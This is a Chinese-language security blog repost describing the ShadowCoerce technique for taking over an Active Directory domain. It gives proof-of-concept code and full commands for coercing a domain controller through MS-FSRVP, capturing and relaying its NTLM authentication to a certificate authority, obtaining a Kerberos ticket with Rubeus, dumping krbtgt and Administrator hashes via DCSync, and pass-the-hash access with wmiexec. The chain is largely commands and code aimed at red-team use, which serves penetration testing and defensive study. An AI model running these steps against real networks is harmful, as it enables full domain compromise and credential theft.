域控制器

admin 2024年4月24日06:02:56评论4 views字数 3257阅读10分51秒阅读模式

#############################

免责声明:本文仅作收藏学习之用,亦希望大家以遵守《网络安全法》相关法律为前提,切勿用于非法犯罪活动,对于恶意使用造成的损失,和本人及作者无关。

##############################

强制域控制器计算机帐户向受威胁者控制的主机进行身份验证可能会导致域受损。涉及强制身份验证的最值得注意的技术是使用加密文件系统远程协议 ( MS-EFSR )的PetitPotam攻击。然而,这不是唯一可以用于域升级的协议。意识到可能被滥用的替代协议可能会给红队运营商带来优势,因为蓝队可能没有实施策略来防止各种协议的域升级。

根据 Microsoft 文档,文件服务器远程 VSS 协议 ( MS-FSRVP ) 用于在远程计算机上创建文件共享的卷影副本、执行应用程序备份以及恢复 SMB2 文件共享上的数据。为了让域控制器执行这些操作,需要从服务器角色安装文件服务器 VSS 代理服务。但是,此协议公开了两种可用于域升级的方法,因为它们都依赖于远程 UNC 路径。这些方法是:

  1. IsPath 支持

  2. IsPathShadowCopyed

因此,可以收集域控制器计算机帐户的 NTLMv2 哈希并将其转发给证书颁发机构,以便注册 Base64 证书,该证书可用于通过 Kerberos 在域控制器上进行身份验证。下图说明了利用 VSS 代理服务进行域升级 (ShadowCoerce) 的技术步骤。

域控制器

为了能够将此协议用于攻击性操作,域控制器应安装角色“文件服务器 VSS 代理服务”。

域控制器

在实际实施攻击之前,收集机器帐户控制器的 NTLMv2 哈希可用作服务正在运行且域升级可行的验证。需要在主机上运行 SMB 侦听器才能捕获哈希。

sudo responder -I eth0 -e 10.0.0.3 -b -A -v

复制

域控制器

Charlie Bromberg发布了一个名为ShadowCoerce的概念验证代码,以演示IsPathShadowCopiedIsPathSupported方法如何被滥用于攻击性操作。代码的执行将强制域控制器的机器帐户向攻击者控制的系统请求“ NETLOGON ”共享。这项工作基于Lionel Gilles 的一项发现,该发现在巴黎的一次当地聚会上公开披露。

1234567891011121314151617181920212223242526

def IsPathShadowCopied(self, dce, listener):    logging.info("Sending IsPathShadowCopied!")    try:        request = IsPathShadowCopied()        # only NETLOGON and SYSVOL were detected working here        # setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)        request['ShareName'] = '\\%s\NETLOGONx00' % listener        # request.dump()        resp = dce.request(request)    except Exception as e:        if logging.getLogger().level == logging.DEBUG:            traceback.print_exc()        logging.info("Attack may of may not have worked, check your listener...") def IsPathSupported(self, dce, listener):    logging.info("Sending IsPathSupported!")    try:        request = IsPathSupported()        # only NETLOGON and SYSVOL were detected working here        # setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)        request['ShareName'] = '\\%s\NETLOGONx00' % listener        resp = dce.request(request)    except Exception as e:        if logging.getLogger().level == logging.DEBUG:            traceback.print_exc()        logging.info("Attack may of may not have worked, check your listener...")

域控制器

该工具需要标准用户帐户的有效域凭据、侦听器 IP 和域控制器的 IP。需要注意的是,在第一次执行期间,可能无法连接到管道。但是,再次执行相同的命令将执行连接。

python3 shadowcoerce.py -d "purple.lab" -u "pentestlab" -p "Password1234" 10.0.0.3 10.0.0.1

复制

域控制器

由于 SMB 侦听器正在主机上运行,因此域控制器计算机帐户的 NTLMv2 哈希将由 Responder 捕获。

域控制器

如果域上有证书颁发机构,则类似于 PetitPotam 技术,域控制器计算机帐户的哈希可以通过 HTTP 中继到 CA 服务器。以证书颁发机构服务器为目标的目的是将身份验证移向证书,与 Net-NTLMv2 哈希相比,它将更有用。使用该身份验证,机器帐户将注册一个证书,该证书可与 Rubeus 等工具一起使用以执行身份验证并请求票证授予票证 (TGT)。

python3 ntlmrelayx.py -t http://ca/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

复制

域控制器

成功认证后,证书将以 Base64 格式颁发。

域控制器

Rubeus是一个 C# 项目,可以从内存中执行并与 Kerberos 协议交互,以在红队交战期间执行进攻性操作。使用之前生成的证书,可以从域控制器计算机帐户的密钥分发中心 (KDC) 请求票证授予票证。

Rubeus.exe asktgt /user:DC$ /certificate:<base64-certificate> /ptt

复制

域控制器

开关“ /ptt ”会将票证缓存到当前会话中。持有域控制器计算机帐户的票证相当于域管理员权限,并且可以执行提升的操作,例如转储域用户的密码哈希、创建黄金票证以保持持久性或使用域管理员的哈希建立一个与域控制器的会话。

域控制器

该DCSync技术已经在Mimikatz已经实现,可用于检索的NTLM哈希的krbtgt账户。使用该散列可以创建黄金票据以维持域的最高权限,直到满足评估的所有目标。

mimikatz # lsadump::dcsync /user:krbtgt

复制

域控制器

或者,使用相同的技术,可以检索高特权帐户(例如域管理员)的哈希值,以便与域控制器和域上的其他高价值目标建立直接连接。

lsadump::dcsync /domain:purple.lab /user:Administrator

复制

域控制器

Impacket 套件的“ wmiexec ”可用于通过 WMI 协议传递散列并建立与域控制器的直接连接。

python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@10.0.0.1

复制

域控制器

原文始发于微信公众号(菜鸟小新):域控制器

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月24日06:02:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   域控制器http://cn-sec.com/archives/2084380.html

发表评论

匿名网友 填写信息